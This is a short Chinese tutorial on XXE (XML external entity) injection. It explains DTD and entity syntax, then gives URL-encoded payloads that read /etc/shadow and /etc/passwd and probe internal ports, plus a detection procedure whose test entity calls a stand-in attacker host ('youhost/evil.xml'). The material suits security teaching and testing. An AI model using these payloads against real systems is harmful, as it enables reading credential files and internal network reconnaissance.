DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
引用外部DTD
<!DOCTYPE 根元素 SYSTEM "文件名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
引用外部实体
<!ENTITY 实体名称 SYSTEM "URI">
或者
<!ENTITY 实体名称 PUBLIC "public_ID""URI">
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
不同程序支持的协议不一样,
本地引用:
http://192.168.0.145:65412/?xml=<!DOCTYPEexample [<!ENTITY xxe SYSTEM "file%3A%2F%2F%2Fetc%2Fshadow">]><root>%26xxe%3B<%2Froot>
http://192.168.0.145:65412/?xml=<!DOCTYPEexample [<!ENTITY xxe SYSTEM"file%3A%2F%2F%2Fetc%2Fpasswd">]><root>%26xxe%3B<%2Froot>
远程引用:
远程文件内容:
http://192.168.0.145:65412/?xml=<!DOCTYPEexample [<!ENTITY xxe SYSTEM"http%3A%2f%2f192.168.0.145%3A22%2f123">]><root>%26xxe%3B<%2Froot>
http://192.168.0.145:65412/?xml=<!DOCTYPEexample [<!ENTITY xxe SYSTEM "http%3A%2f%2f192.168.0.145%3A23%2f123">]><root>%26xxe%3B<%2Froot>
遇到XML相关的交互过程,以如下步骤判断是否存在漏洞:
(1)检测XML是否会被解析:
[html] view plain copy
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY test “this is test”>
]>
<root>&test;</root>
如果$test;变成了”this is test”,那就继续第二步。
(2)检测服务器是否支持外部实体:
[html] view plain copy
1. <?xml version=”1.0” encoding=”UTF-8”?>
2. <!DOCTYPE ANY [
3. <!ENTITY % shit SYSTEM “http://youhost/evil.xml”>
4. %shit;
5. ]>
通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。
(3)如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。
(4)如果不能回显,毫无疑问,使用Blind XXE攻击方法。